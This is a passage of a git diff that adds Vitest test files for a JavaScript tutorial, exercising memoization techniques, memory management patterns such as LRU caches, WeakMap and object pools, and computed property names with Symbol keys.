Memoize Function', () => { + // From lines 102-114: Step 1 - Basic Structure + describe('Step 1: Basic Structure', () => { + it('should memoize single argument functions', () => { + function memoize(fn) { + const cache = new Map() + + return function(arg) { + if (cache.has(arg)) { + return cache.get(arg) + } + + const result = fn(arg) + cache.set(arg, result) + return result + } + } + + let callCount = 0 + const double = memoize((n) => { + callCount++ + return n * 2 + }) + + expect(double(5)).toBe(10) + expect(callCount).toBe(1) + + expect(double(5)).toBe(10) + expect(callCount).toBe(1) // Not called again + + expect(double(7)).toBe(14) + expect(callCount).toBe(2) + }) + }) + + // From lines 118-141: Step 2 - Handle Multiple Arguments + describe('Step 2: Handle Multiple Arguments', () => { + it('should memoize functions with multiple arguments', () => { + function memoize(fn) { + const cache = new Map() + + return function(...args) { + const key = JSON.stringify(args) + + if (cache.has(key)) { + return cache.get(key) + } + + const result = fn.apply(this, args) + cache.set(key, result) + return result + } + } + + let callCount = 0 + const add = memoize((a, b) => { + callCount++ + return a + b + }) + + expect(add(2, 3)).toBe(5) + expect(callCount).toBe(1) + + expect(add(2, 3)).toBe(5) + expect(callCount).toBe(1) // Cached + + expect(add(3, 2)).toBe(5) + expect(callCount).toBe(2) // Different key: "[3,2]" vs "[2,3]" + }) + }) + + // From lines 145-162: Step 3 - Preserve this Context + describe('Step 3: Preserve this Context', () => { + it('should preserve this context when used as method', () => { + function memoize(fn) { + const cache = new Map() + + return function(...args) { + const key = JSON.stringify(args) + + if (cache.has(key)) { + return cache.get(key) + } + + const result = fn.apply(this, args) + cache.set(key, result) + return result + } + } + + const calculator = { + multiplier: 10, + + calculate: memoize(function(n) { + return n * this.multiplier + }) + } + + expect(calculator.calculate(5)).toBe(50) + expect(calculator.calculate(5)).toBe(50) // Cached + }) + }) + + // From lines 166-181: Complete Implementation + describe('Complete Implementation', () => { + it('should work with the complete memoize function', () => { + function memoize(fn) { + const cache = new Map() + + return function memoized(...args) { + const key = JSON.stringify(args) + + if (cache.has(key)) { + return cache.get(key) + } + + const result = fn.apply(this, args) + cache.set(key, result) + return result + } + } + + const multiply = memoize((a, b, c) => a * b * c) + + expect(multiply(2, 3, 4)).toBe(24) + expect(multiply(2, 3, 4)).toBe(24) + expect(multiply(1, 2, 3)).toBe(6) + }) + }) + }) + + // ============================================================ + // MEMOIZING RECURSIVE FUNCTIONS + // From memoization.mdx lines 199-262 + // ============================================================ + + describe('Memoizing Recursive Functions', () => { + // Helper memoize function for this section + function memoize(fn) { + const cache = new Map() + + return function memoized(...args) { + const key = JSON.stringify(args) + + if (cache.has(key)) { + return cache.get(key) + } + + const result = fn.apply(this, args) + cache.set(key, result) + return result + } + } + + // From lines 203-217: The Problem - Exponential Time Complexity + describe('Naive Fibonacci', () => { + it('should calculate fibonacci correctly (but slowly)', () => { + function fibonacci(n) { + if (n <= 1) return n + return fibonacci(n - 1) + fibonacci(n - 2) + } + + expect(fibonacci(0)).toBe(0) + expect(fibonacci(1)).toBe(1) + expect(fibonacci(5)).toBe(5) + expect(fibonacci(10)).toBe(55) + }) + }) + + // From lines 221-237: The Solution - Memoized Fibonacci + describe('Memoized Fibonacci', () => { + it('should calculate fibonacci correctly and efficiently', () => { + const fibonacci = memoize(function fib(n) { + if (n <= 1) return n + return fibonacci(n - 1) + fibonacci(n - 2) + }) + + expect(fibonacci(0)).toBe(0) + expect(fibonacci(1)).toBe(1) + expect(fibonacci(5)).toBe(5) + expect(fibonacci(10)).toBe(55) + expect(fibonacci(40)).toBe(102334155) + expect(fibonacci(50)).toBe(12586269025) + }) + + it('should reuse cached values for larger inputs', () => { + let callCount = 0 + + const fibonacci = memoize(function fib(n) { + callCount++ + if (n <= 1) return n + return fibonacci(n - 1) + fibonacci(n - 2) + }) + + fibonacci(10) + const callsFor10 = callCount + + callCount = 0 + fibonacci(11) // Should only need to calculate fib(11) and fib(10) + + // With memoization, fib(11) reuses fib(10) and fib(9) from cache + expect(callCount).toBeLessThan(callsFor10) + }) + }) + }) + + // ============================================================ + // WHEN MEMOIZATION HELPS + // From memoization.mdx lines 268-335 + // ============================================================ + + describe('When Memoization Helps', () => { + function memoize(fn) { + const cache = new Map() + return function memoized(...args) { + const key = JSON.stringify(args) + if (cache.has(key)) return cache.get(key) + const result = fn.apply(this, args) + cache.set(key, result) + return result + } + } + + // From lines 277-295: Expensive Computations + describe('Expensive Computations', () => { + it('should benefit from caching prime calculations', () => { + let callCount = 0 + + const calculatePrimes = memoize(function(limit) { + callCount++ + const primes = [] + for (let i = 2; i <= limit; i++) { + let isPrime = true + for (let j = 2; j <= Math.sqrt(i); j++) { + if (i % j === 0) { + isPrime = false + break + } + } + if (isPrime) primes.push(i) + } + return primes + }) + + const result1 = calculatePrimes(100) + expect(callCount).toBe(1) + expect(result1).toContain(2) + expect(result1).toContain(97) + + const result2 = calculatePrimes(100) + expect(callCount).toBe(1) // Not called again + expect(result2).toEqual(result1) + }) + }) + + // From lines 299-314: Recursive with overlapping subproblems + describe('Recursive Functions with Overlapping Subproblems', () => { + it('should optimize climbStairs problem', () => { + const climbStairs = memoize(function(n) { + if (n <= 2) return n + return climbStairs(n - 1) + climbStairs(n - 2) + }) + + expect(climbStairs(1)).toBe(1) + expect(climbStairs(2)).toBe(2) + expect(climbStairs(3)).toBe(3) + expect(climbStairs(4)).toBe(5) + expect(climbStairs(5)).toBe(8) + expect(climbStairs(50)).toBe(20365011074) + }) + }) + + // From lines 340-355: Pure Functions Only + describe('Pure Functions Only', () => { + it('should work correctly with pure functions', () => { + const square = memoize(n => n * n) + + expect(square(5)).toBe(25) + expect(square(5)).toBe(25) + expect(square(10)).toBe(100) + }) + + it('should demonstrate memoization failure with impure functions', () => { + let multiplier = 2 + const multiply = memoize(n => n * multiplier) + + expect(multiply(5)).toBe(10) + + multiplier = 3 + // BUG: Still returns 10 from cache, should be 15 + expect(multiply(5)).toBe(10) // This demonstrates the problem + }) + }) + }) + + // ============================================================ + // WHEN MEMOIZATION HURTS + // From memoization.mdx lines 345-408 + // ============================================================ + + describe('When Memoization Hurts', () => { + function memoize(fn) { + const cache = new Map() + return function memoized(...args) { + const key = JSON.stringify(args) + if (cache.has(key)) return cache.get(key) + const result = fn.apply(this, args) + cache.set(key, result) + return result + } + } + + // From lines 361-371: Functions with Side Effects + describe('Functions with Side Effects', () => { + it('should skip side effects on cache hits', () => { + const logs = [] + + const logAndDouble = memoize(function(n) { + logs.push(`Doubling ${n}`) + return n * 2 + }) + + expect(logAndDouble(5)).toBe(10) + expect(logs).toEqual(['Doubling 5']) + + expect(logAndDouble(5)).toBe(10) + // Side effect NOT executed again - this is the problem! + expect(logs).toEqual(['Doubling 5']) + }) + }) + }) + + // ============================================================ + // WEAKMAP FOR OBJECT ARGUMENTS + // From memoization.mdx lines 414-494 + // ============================================================ + + describe('WeakMap for Object Arguments', () => { + // From lines 416-430: Problem with JSON.stringify + describe('JSON.stringify Problems', () => { + it('should show that different objects with same content create same key', () => { + const obj1 = { a: 1 } + const obj2 = { a: 1 } + + expect(JSON.stringify(obj1)).toBe(JSON.stringify(obj2)) + // But they are different objects! + expect(obj1).not.toBe(obj2) + }) + }) + + // From lines 434-456: WeakMap solution + describe('WeakMap-based Memoization', () => { + it('should cache based on object identity', () => { + function memoizeWithWeakMap(fn) { + const cache = new WeakMap() + + return function(obj) { + if (cache.has(obj)) { + return cache.get(obj) + } + + const result = fn(obj) + cache.set(obj, result) + return result + } + } + + let callCount = 0 + const processUser = memoizeWithWeakMap(function(user) { + callCount++ + return { ...user, processed: true } + }) + + const user = { name: 'Alice' } + + const result1 = processUser(user) + expect(callCount).toBe(1) + expect(result1).toEqual({ name: 'Alice', processed: true }) + + const result2 = processUser(user) + expect(callCount).toBe(1) // Same object reference - cached + + const sameData = { name: 'Alice' } + const result3 = processUser(sameData) + expect(callCount).toBe(2) // Different object - not cached + }) + }) + + // From lines 477-494: Hybrid approach + describe('Hybrid Approach', () => { + it('should handle both primitives and objects', () => { + function memoizeHybrid(fn) { + const primitiveCache = new Map() + const objectCache = new WeakMap() + + return function(arg) { + const cache = typeof arg === 'object' && arg !== null + ? objectCache + : primitiveCache + + if (cache.has(arg)) { + return cache.get(arg) + } + + const result = fn(arg) + cache.set(arg, result) + return result + } + } + + let callCount = 0 + const process = memoizeHybrid((val) => { + callCount++ + return typeof val === 'object' ? { ...val, processed: true } : val * 2 + }) + + // Primitive handling + expect(process(5)).toBe(10) + expect(callCount).toBe(1) + expect(process(5)).toBe(10) + expect(callCount).toBe(1) // Cached + + // Object handling + const obj = { x: 1 } + process(obj) + expect(callCount).toBe(2) + process(obj) + expect(callCount).toBe(2) // Cached + }) + }) + }) + + // ============================================================ + // COMMON MEMOIZATION MISTAKES + // From memoization.mdx lines 500-575 + // ============================================================ + + describe('Common Memoization Mistakes', () => { + function memoize(fn) { + const cache = new Map() + return function memoized(...args) { + const key = JSON.stringify(args) + if (cache.has(key)) return cache.get(key) + const result = fn.apply(this, args) + cache.set(key, result) + return result + } + } + + // From lines 504-523: Mistake 1 - Memoizing Impure Functions + describe('Mistake 1: Memoizing Impure Functions', () => { + it('should demonstrate correct approach - make dependency an argument', () => { + const calculateTax = memoize(function(price, rate) { + return price * rate + }) + + expect(calculateTax(100, 0.08)).toBe(8) + expect(calculateTax(100, 0.10)).toBe(10) + // Different rates = different cache keys = correct results + }) + }) + + // From lines 527-542: Mistake 2 - Argument Order Matters + describe('Mistake 2: Forgetting Argument Order Matters', () => { + it('should create different cache entries for different argument order', () => { + let callCount = 0 + const add = memoize((a, b) => { + callCount++ + return a + b + }) + + add(1, 2) + expect(callCount).toBe(1) + + add(2, 1) // Different key: "[2,1]" vs "[1,2]" + expect(callCount).toBe(2) // Calculates again even though result is same + }) + + it('should handle commutative operations with sorted keys', () => { + function memoizeCommutative(fn) { + const cache = new Map() + + return function(...args) { + const key = JSON.stringify(args.slice().sort()) + if (cache.has(key)) return cache.get(key) + const result = fn.apply(this, args) + cache.set(key, result) + return result + } + } + + let callCount = 0 + const add = memoizeCommutative((a, b) => { + callCount++ + return a + b + }) + + add(1, 2) + expect(callCount).toBe(1) + + add(2, 1) // Same sorted key: "[1,2]" + expect(callCount).toBe(1) // Uses cache + }) + }) + + // From lines 546-567: Mistake 3 - Not Handling this Context + describe('Mistake 3: Not Handling this Context', () => { + it('should fail without proper this handling', () => { + function badMemoize(fn) { + const cache = new Map() + return function(...args) { + const key = JSON.stringify(args) + if (cache.has(key)) return cache.get(key) + const result = fn(...args) // 'this' is lost! + cache.set(key, result) + return result + } + } + + const obj = { + value: 10, + compute: badMemoize(function(n) { + return n * this.value + }) + } + + // This will fail or return NaN because 'this' is not the object + expect(() => obj.compute(5)).toThrow() + }) + + it('should work with proper this handling', () => { + function goodMemoize(fn) { + const cache = new Map() + return function(...args) { + const key = JSON.stringify(args) + if (cache.has(key)) return cache.get(key) + const result = fn.apply(this, args) // 'this' preserved + cache.set(key, result) + return result + } + } + + const obj = { + value: 10, + compute: goodMemoize(function(n) { + return n * this.value + }) + } + + expect(obj.compute(5)).toBe(50) + }) + }) + + // From lines 571-587: Mistake 4 - Recursive Function References Wrong Version + describe('Mistake 4: Recursive Function References Wrong Version', () => { + it('should reference the memoized version in recursive calls', () => { + let callCount = 0 + + // CORRECT: References 'factorial' (the memoized version) + const factorial = memoize(function(n) { + callCount++ + if (n <= 1) return 1 + return n * factorial(n - 1) + }) + + expect(factorial(5)).toBe(120) + const callsFor5 = callCount + + callCount = 0 + expect(factorial(6)).toBe(720) + // Should only call factorial(6) since 5! is cached + expect(callCount).toBe(1) + }) + }) + }) + + // ============================================================ + // ADVANCED: LRU CACHE FOR BOUNDED MEMORY + // From memoization.mdx lines 595-630 + // ============================================================ + + describe('Advanced: LRU Cache', () => { + // From lines 599-626: LRU Cache Implementation + it('should evict least recently used entries when at capacity', () => { + function memoizeLRU(fn, maxSize = 3) { + const cache = new Map() + + return function(...args) { + const key = JSON.stringify(args) + + if (cache.has(key)) { + // Move to end (most recently used) + const value = cache.get(key) + cache.delete(key) + cache.set(key, value) + return value + } + + const result = fn.apply(this, args) + + // Evict oldest entry if at capacity + if (cache.size >= maxSize) { + const oldestKey = cache.keys().next().value + cache.delete(oldestKey) + } + + cache.set(key, result) + return result + } + } + + let callCount = 0 + const double = memoizeLRU((n) => { + callCount++ + return n * 2 + }, 3) + + // Fill cache + double(1) // cache: [1] + double(2) // cache: [1, 2] + double(3) // cache: [1, 2, 3] + expect(callCount).toBe(3) + + // Access cached value + double(1) // cache: [2, 3, 1] (1 moved to end) + expect(callCount).toBe(3) + + // Add new value, evicts oldest (2) + double(4) // cache: [3, 1, 4] + expect(callCount).toBe(4) + + // 2 was evicted, needs recalculation + double(2) // cache: [1, 4, 2] + expect(callCount).toBe(5) + + // 1 is still cached + double(1) + expect(callCount).toBe(5) + }) + }) +}) diff --git a/tests/beyond/memory-performance/memory-management/memory-management.test.js b/tests/beyond/memory-performance/memory-management/memory-management.test.js new file mode 100644 index 00000000..1a94842a --- /dev/null +++ b/tests/beyond/memory-performance/memory-management/memory-management.test.js @@ -0,0 +1,525 @@ +import { describe, it, expect } from 'vitest' + +/** + * Tests for Memory Management concept + * Source: /docs/beyond/concepts/memory-management.mdx + */ + +describe('Memory Management', () => { + describe('Memory Allocation', () => { + // Source: memory-management.mdx lines ~115-125 + it('should allocate memory for primitives', () => { + const n = 123 + const s = "hello" + const b = true + + expect(typeof n).toBe('number') + expect(typeof s).toBe('string') + expect(typeof b).toBe('boolean') + }) + + // Source: memory-management.mdx lines ~115-125 + it('should allocate memory for objects and arrays', () => { + const obj = { a: 1, b: 2 } + const arr = [1, 2, 3] + const fn = function() { return 'hello' } + + expect(obj).toEqual({ a: 1, b: 2 }) + expect(arr).toEqual([1, 2, 3]) + expect(fn()).toBe('hello') + }) + + // Source: memory-management.mdx lines ~127-131 + it('should allocate new memory for string operations', () => { + const s = "hello" + const s2 = s.substring(0, 3) + + expect(s2).toBe('hel') + expect(s).toBe('hello') // Original unchanged + }) + + // Source: memory-management.mdx lines ~127-131 + it('should allocate new memory for array concatenation', () => { + const arr = [1, 2, 3] + const arr2 = arr.concat([4, 5]) + + expect(arr2).toEqual([1, 2, 3, 4, 5]) + expect(arr).toEqual([1, 2, 3]) // Original unchanged + }) + + // Source: memory-management.mdx lines ~127-131 + it('should allocate new memory for object spread', () => { + const obj = { a: 1 } + const obj2 = { ...obj, c: 3 } + + expect(obj2).toEqual({ a: 1, c: 3 }) + expect(obj).toEqual({ a: 1 }) // Original unchanged + }) + + // Source: memory-management.mdx lines ~135-139 + it('should allocate memory via constructor calls', () => { + const date = new Date() + const regex = new RegExp("pattern") + const map = new Map() + const set = new Set([1, 2, 3]) + + expect(date instanceof Date).toBe(true) + expect(regex instanceof RegExp).toBe(true) + expect(map instanceof Map).toBe(true) + expect(set instanceof Set).toBe(true) + expect(set.size).toBe(3) + }) + }) + + describe('Stack vs Heap: Reference Behavior', () => { + // Source: memory-management.mdx lines ~185-195 + it('should demonstrate that primitives are copied by value (stack)', () => { + let a = 10 + let b = a // Copy of value + + b = 20 + + expect(a).toBe(10) // Original unchanged + expect(b).toBe(20) + }) + + // Source: memory-management.mdx lines ~185-195 + it('should demonstrate that objects are passed by reference (heap)', () => { + const original = { value: 1 } + const copy = original // Same reference! + + copy.value = 2 + + expect(original.value).toBe(2) // Both point to same object + expect(copy.value).toBe(2) + }) + + // Source: memory-management.mdx lines ~185-195 + it('should create independent copy using spread operator', () => { + const original = { value: 1 } + const independent = { ...original } + + independent.value = 3 + + expect(original.value).toBe(1) // Original unchanged + expect(independent.value).toBe(3) + }) + + // Source: memory-management.mdx lines ~170-182 + it('should demonstrate stack allocation for primitives in function', () => { + function calculateTotal(price, quantity) { + const tax = 0.08 + const subtotal = price * quantity + const total = subtotal + (subtotal * tax) + return total + } + + const result = calculateTotal(100, 2) + expect(result).toBe(216) // 200 + (200 * 0.08) = 216 + }) + }) + + describe('Reachability and Garbage Collection', () => { + // Source: memory-management.mdx lines ~210-220 + it('should demonstrate single reference becoming null', () => { + let user = { name: "John" } + + // Object is reachable via 'user' + expect(user.name).toBe("John") + + user = null // Now the object has no references + expect(user).toBe(null) + // The original object can now be garbage collected + }) + + // Source: memory-management.mdx lines ~223-230 + it('should demonstrate multiple references to same object', () => { + let user = { name: "John" } + let admin = user // Two references to same object + + user = null // Object still reachable via 'admin' + expect(admin.name).toBe("John") + + admin = null // Now the object is unreachable + expect(admin).toBe(null) + }) + + // Source: memory-management.mdx lines ~233-250 + it('should demonstrate interlinked objects', () => { + function marry(man, woman) { + man.wife = woman + woman.husband = man + return { father: man, mother: woman } + } + + let family = marry({ name: "John" }, { name: "Ann" }) + + expect(family.father.wife.name).toBe("Ann") + expect(family.mother.husband.name).toBe("John") + + family = null // The entire structure becomes unreachable + // Even though John and Ann reference each other, + // they're unreachable from any root — so they're freed + }) + }) + + describe('WeakMap and WeakSet', () => { + // Source: memory-management.mdx lines ~380-400 + it('should store metadata with WeakMap', () => { + const metadata = new WeakMap() + + const element = { id: 1, type: 'button' } + metadata.set(element, { + processedAt: Date.now(), + clickCount: 0 + }) + + expect(metadata.has(element)).toBe(true) + expect(metadata.get(element).clickCount).toBe(0) + }) + + it('should not allow iteration over WeakMap', () => { + const wm = new WeakMap() + const key = {} + wm.set(key, 'value') + + // WeakMap is not iterable + expect(typeof wm[Symbol.iterator]).toBe('undefined') + }) + + it('should only accept objects as WeakMap keys', () => { + const wm = new WeakMap() + const obj = {} + + wm.set(obj, 'value') + expect(wm.get(obj)).toBe('value') + + // Primitives throw TypeError + expect(() => wm.set('string', 'value')).toThrow(TypeError) + expect(() => wm.set(123, 'value')).toThrow(TypeError) + }) + + it('should work with WeakSet for unique objects', () => { + const ws = new WeakSet() + const obj1 = { id: 1 } + const obj2 = { id: 2 } + + ws.add(obj1) + ws.add(obj2) + + expect(ws.has(obj1)).toBe(true) + expect(ws.has(obj2)).toBe(true) + expect(ws.has({ id: 1 })).toBe(false) // Different object + }) + }) + + describe('Common Memory Leak Patterns', () => { + describe('Accidental Global Variables', () => { + // Source: memory-management.mdx lines ~290-300 + it('should demonstrate proper variable declaration', () => { + function processData() { + const localData = [1, 2, 3, 4, 5] + return localData.length + } + + const result = processData() + expect(result).toBe(5) + // localData is freed when function returns + }) + }) + + describe('Closures Holding References', () => { + // Source: memory-management.mdx lines ~350-370 + it('should demonstrate closure capturing only needed value', () => { + function createHandler() { + const hugeData = new Array(100).fill('x') + const length = hugeData.length // Extract needed value + + return function handler() { + return length // Only captures 'length', not hugeData + } + } + + const handler = createHandler() + expect(handler()).toBe(100) + }) + + it('should demonstrate closure capturing entire object', () => { + function createCounter() { + let count = 0 + + return { + increment: () => ++count, + getCount: () => count + } + } + + const counter = createCounter() + counter.increment() + counter.increment() + expect(counter.getCount()).toBe(2) + }) + }) + + describe('Growing Collections (Unbounded Caches)', () => { + // Source: memory-management.mdx lines ~375-410 + it('should demonstrate bounded LRU cache', () => { + class LRUCache { + constructor(maxSize = 100) { + this.cache = new Map() + this.maxSize = maxSize + } + + get(key) { + if (this.cache.has(key)) { + const value = this.cache.get(key) + this.cache.delete(key) + this.cache.set(key, value) + return value + } + return undefined + } + + set(key, value) { + if (this.cache.has(key)) { + this.cache.delete(key) + } else if (this.cache.size >= this.maxSize) { + const firstKey = this.cache.keys().next().value + this.cache.delete(firstKey) + } + this.cache.set(key, value) + } + + get size() { + return this.cache.size + } + } + + const cache = new LRUCache(3) + + cache.set('a', 1) + cache.set('b', 2) + cache.set('c', 3) + expect(cache.size).toBe(3) + + cache.set('d', 4) // Should evict 'a' + expect(cache.size).toBe(3) + expect(cache.get('a')).toBe(undefined) + expect(cache.get('d')).toBe(4) + }) + + it('should demonstrate WeakMap for object key caching', () => { + const cache = new WeakMap() + + function getData(obj) { + if (!cache.has(obj)) { + cache.set(obj, { computed: obj.id * 2 }) + } + return cache.get(obj) + } + + const obj1 = { id: 5 } + const obj2 = { id: 10 } + + expect(getData(obj1).computed).toBe(10) + expect(getData(obj2).computed).toBe(20) + + // Same object returns cached value + expect(getData(obj1).computed).toBe(10) + }) + }) + }) + + describe('Object Pools', () => { + // Source: memory-management.mdx lines ~500-520 + it('should reuse objects from pool instead of creating new ones', () => { + class ParticlePool { + constructor(size) { + this.pool = Array.from({ length: size }, () => ({ + x: 0, y: 0, vx: 0, vy: 0, active: false + })) + } + + acquire() { + const particle = this.pool.find(p => !p.active) + if (particle) { + particle.active = true + } + return particle + } + + release(particle) { + particle.active = false + particle.x = 0 + particle.y = 0 + particle.vx = 0 + particle.vy = 0 + } + + getActiveCount() { + return this.pool.filter(p => p.active).length + } + } + + const pool = new ParticlePool(5) + + expect(pool.getActiveCount()).toBe(0) + + const p1 = pool.acquire() + const p2 = pool.acquire() + expect(pool.getActiveCount()).toBe(2) + + p1.x = 100 + p1.y = 200 + + pool.release(p1) + expect(pool.getActiveCount()).toBe(1) + expect(p1.x).toBe(0) // Reset on release + + // Acquiring again should reuse the released particle + const p3 = pool.acquire() + expect(pool.getActiveCount()).toBe(2) + }) + }) + + describe('String Concatenation Efficiency', () => { + // Source: memory-management.mdx lines ~535-550 + it('should build strings efficiently using array join', () => { + const iterations = 1000 + + // Build array, join once + const parts = [] + for (let i = 0; i < iterations; i++) { + parts.push(`item ${i}`) + } + const result = parts.join(', ') + + expect(result.startsWith('item 0')).toBe(true) + expect(result.endsWith('item 999')).toBe(true) + expect(parts.length).toBe(iterations) + }) + }) + + describe('WeakRef (Advanced)', () => { + // Source: memory-management.mdx lines ~415-430 + it('should create weak reference to object', () => { + let target = { name: 'test' } + const ref = new WeakRef(target) + + // deref() returns the target if it still exists + expect(ref.deref()?.name).toBe('test') + + // While target is still referenced, deref() works + expect(ref.deref()).toBe(target) + }) + + it('should demonstrate WeakRef API', () => { + const obj = { value: 42 } + const weakRef = new WeakRef(obj) + + // deref() returns the object + const dereferenced = weakRef.deref() + expect(dereferenced?.value).toBe(42) + }) + }) + + describe('Memory Lifecycle Phases', () => { + // Source: memory-management.mdx lines ~65-95 + it('should demonstrate allocation phase', () => { + // Allocation happens automatically + const name = "Alice" + const user = { id: 1, name: "Alice" } + const items = [1, 2, 3] + + expect(name).toBe("Alice") + expect(user.id).toBe(1) + expect(items.length).toBe(3) + }) + + it('should demonstrate use phase', () => { + const user = { name: "Alice", age: 25 } + + // Read from memory + const name = user.name + expect(name).toBe("Alice") + + // Write to memory + user.age = 30 + expect(user.age).toBe(30) + }) + + it('should demonstrate how function scope enables release', () => { + function processData() { + const tempData = { huge: new Array(100).fill('x') } + return tempData.huge.length + } + + // After processData() returns, tempData is unreachable + const result = processData() + expect(result).toBe(100) + // tempData can now be garbage collected + }) + }) + + describe('Multiple References', () => { + it('should track objects with multiple references', () => { + let a = { value: 1 } + let b = a // Same object + let c = a // Same object + + expect(a).toBe(b) + expect(b).toBe(c) + + a.value = 2 + expect(b.value).toBe(2) + expect(c.value).toBe(2) + }) + + it('should demonstrate reference independence after reassignment', () => { + let a = { value: 1 } + let b = a + + // Now b points to new object + b = { value: 2 } + + expect(a.value).toBe(1) + expect(b.value).toBe(2) + expect(a).not.toBe(b) + }) + }) + + describe('Cleanup Patterns', () => { + it('should demonstrate nullifying references', () => { + let data = { large: new Array(100).fill('data') } + + // Use the data + const length = data.large.length + expect(length).toBe(100) + + // Nullify to allow GC + data = null + expect(data).toBe(null) + }) + + it('should demonstrate clearing collections', () => { + const items = [1, 2, 3, 4, 5] + + expect(items.length).toBe(5) + + // Clear array + items.length = 0 + expect(items.length).toBe(0) + }) + + it('should demonstrate Map/Set cleanup', () => { + const map = new Map() + map.set('a', 1) + map.set('b', 2) + + expect(map.size).toBe(2) + + map.clear() + expect(map.size).toBe(0) + }) + }) +}) diff --git a/tests/beyond/modern-syntax-operators/computed-property-names/computed-property-names.test.js b/tests/beyond/modern-syntax-operators/computed-property-names/computed-property-names.test.js new file mode 100644 index 00000000..15332707 --- /dev/null +++ b/tests/beyond/modern-syntax-operators/computed-property-names/computed-property-names.test.js @@ -0,0 +1,686 @@ +import { describe, it, expect } from 'vitest' + +describe('Computed Property Names', () => { + + describe('Basic Syntax', () => { + // Source: computed-property-names.mdx lines 7-15 (Opening code example) + it('should demonstrate ES6 computed property vs ES5 two-step pattern', () => { + // Before ES6 - two steps required + const key = 'status' + const obj = {} + obj[key] = 'active' + + // ES6 computed property names - single expression + const key2 = 'status' + const obj2 = { [key2]: 'active' } + + expect(obj).toEqual({ status: 'active' }) + expect(obj2).toEqual({ status: 'active' }) + }) + + // Source: computed-property-names.mdx lines 36-45 (What are Computed Property Names) + it('should evaluate expression in brackets to determine property name', () => { + const field = 'email' + const value = 'alice@example.com' + + const formData = { + [field]: value, + [`${field}_verified`]: true + } + + expect(formData).toEqual({ + email: 'alice@example.com', + email_verified: true + }) + }) + + // Source: computed-property-names.mdx lines 86-96 (Variable as Key) + it('should use variable value as property name', () => { + const propName = 'score' + const player = { + name: 'Alice', + [propName]: 100 + } + + expect(player).toEqual({ name: 'Alice', score: 100 }) + expect(player.score).toBe(100) + }) + + // Source: computed-property-names.mdx lines 98-109 (Template Literal as Key) + it('should support template literals as computed keys', () => { + const prefix = 'user' + const id = 42 + + const data = { + [`${prefix}_${id}`]: 'Alice', + [`${prefix}_${id}_role`]: 'admin' + } + + expect(data).toEqual({ + user_42: 'Alice', + user_42_role: 'admin' + }) + }) + + // Source: computed-property-names.mdx lines 111-122 (Expression as Key) + it('should support expressions as computed keys', () => { + const i = 0 + + const obj = { + ['prop' + (i + 1)]: 'first', + ['prop' + (i + 2)]: 'second', + [1 + 1]: 'number key' + } + + expect(obj['2']).toBe('number key') + expect(obj.prop1).toBe('first') + expect(obj.prop2).toBe('second') + }) + + // Source: computed-property-names.mdx lines 124-133 (Function Call as Key) + it('should support function calls as computed keys', () => { + function getKey(type) { + return `data_${type}_test` + } + + const cache = { + [getKey('user')]: { name: 'Alice' } + } + + expect(cache.data_user_test).toEqual({ name: 'Alice' }) + expect(Object.keys(cache)[0]).toBe('data_user_test') + }) + }) + + describe('Order of Evaluation', () => { + // Source: computed-property-names.mdx lines 141-153 (Key Before Value) + it('should evaluate key expression before value expression', () => { + let counter = 0 + + const obj = { + [++counter]: counter, // key: 1, value: 1 + [++counter]: counter, // key: 2, value: 2 + [++counter]: counter // key: 3, value: 3 + } + + expect(obj).toEqual({ '1': 1, '2': 2, '3': 3 }) + }) + + it('should process properties left-to-right in source order', () => { + const order = [] + + const obj = { + [(order.push('key1'), 'a')]: (order.push('val1'), 1), + [(order.push('key2'), 'b')]: (order.push('val2'), 2) + } + + expect(order).toEqual(['key1', 'val1', 'key2', 'val2']) + expect(obj).toEqual({ a: 1, b: 2 }) + }) + }) + + describe('Type Coercion (ToPropertyKey)', () => { + // Source: computed-property-names.mdx lines 167-178 (Type Coercion examples) + it('should coerce various types to strings', () => { + const obj = { + [42]: 'number', + [true]: 'boolean', + [null]: 'null', + [[1, 2, 3]]: 'array' + } + + expect(obj).toEqual({ + '42': 'number', + 'true': 'boolean', + 'null': 'null', + '1,2,3': 'array' + }) + }) + + // Source: computed-property-names.mdx lines 180-183 (Number/string collision) + it('should treat number and string keys as the same property', () => { + const obj = { + [42]: 'number key' + } + + expect(obj[42]).toBe('number key') + expect(obj['42']).toBe('number key') // Same property! + }) + + it('should convert undefined to string', () => { + const obj = { + [undefined]: 'undefined value' + } + + expect(obj['undefined']).toBe('undefined value') + }) + + it('should convert objects using toString()', () => { + const customObj = { + toString() { + return 'customKey' + } + } + + const obj = { + [customObj]: 'custom object key' + } + + expect(obj.customKey).toBe('custom object key') + }) + + it('should convert plain objects to [object Object]', () => { + const plainObj = { id: 1 } + + const obj = { + [plainObj]: 'plain object key' + } + + expect(obj['[object Object]']).toBe('plain object key') + }) + }) + + describe('Pre-ES6 Comparison', () => { + // Source: computed-property-names.mdx lines 191-201 (ES5 pattern) + it('should show ES5 two-step pattern equivalence', () => { + function createUserES5(role, name) { + const obj = {} + obj[role] = name + return obj + } + + const admin = createUserES5('admin', 'Alice') + expect(admin).toEqual({ admin: 'Alice' }) + }) + + // Source: computed-property-names.mdx lines 213-227 (ES6 patterns) + it('should enable elegant reduce patterns with computed properties', () => { + const fields = ['name', 'email', 'age'] + const defaults = fields.reduce( + (acc, field) => ({ ...acc, [field]: '' }), + {} + ) + + expect(defaults).toEqual({ name: '', email: '', age: '' }) + }) + }) + + describe('Symbol Keys', () => { + // Source: computed-property-names.mdx lines 235-244 (Symbol syntax requirement) + it('should require computed syntax for Symbol keys', () => { + const mySymbol = Symbol('id') + + // This creates a string key "mySymbol", NOT a Symbol key! + const wrong = { mySymbol: 'value' } + expect(Object.keys(wrong)).toEqual(['mySymbol']) + + // This uses the Symbol as the key + const correct = { [mySymbol]: 'value' } + expect(Object.keys(correct)).toEqual([]) // Symbols don't appear in keys! + expect(Object.getOwnPropertySymbols(correct)).toEqual([mySymbol]) + }) + + // Source: computed-property-names.mdx lines 248-262 (Symbol keys are hidden) + it('should hide Symbol keys from iteration methods', () => { + const secret = Symbol('secret') + + const user = { + name: 'Alice', + [secret]: 'classified information' + } + + // Symbol keys are hidden from these: + expect(Object.keys(user)).toEqual(['name']) + expect(JSON.stringify(user)).toBe('{"name":"Alice"}') + + const keysFromForIn = [] + for (const key in user) { + keysFromForIn.push(key) + } + expect(keysFromForIn).toEqual(['name']) + + // But you can still access them: + expect(user[secret]).toBe('classified information') + expect(Object.getOwnPropertySymbols(user)).toEqual([secret]) + }) + + // Source: computed-property-names.mdx lines 268-287 (Symbol.iterator) + it('should make objects iterable with Symbol.iterator', () => { + const range = { + start: 1, + end: 5, + + [Symbol.iterator]() { + let current = this.start + const end = this.end + + return { + next() { + if (current <= end) { + return { value: current++, done: false } + } + return { 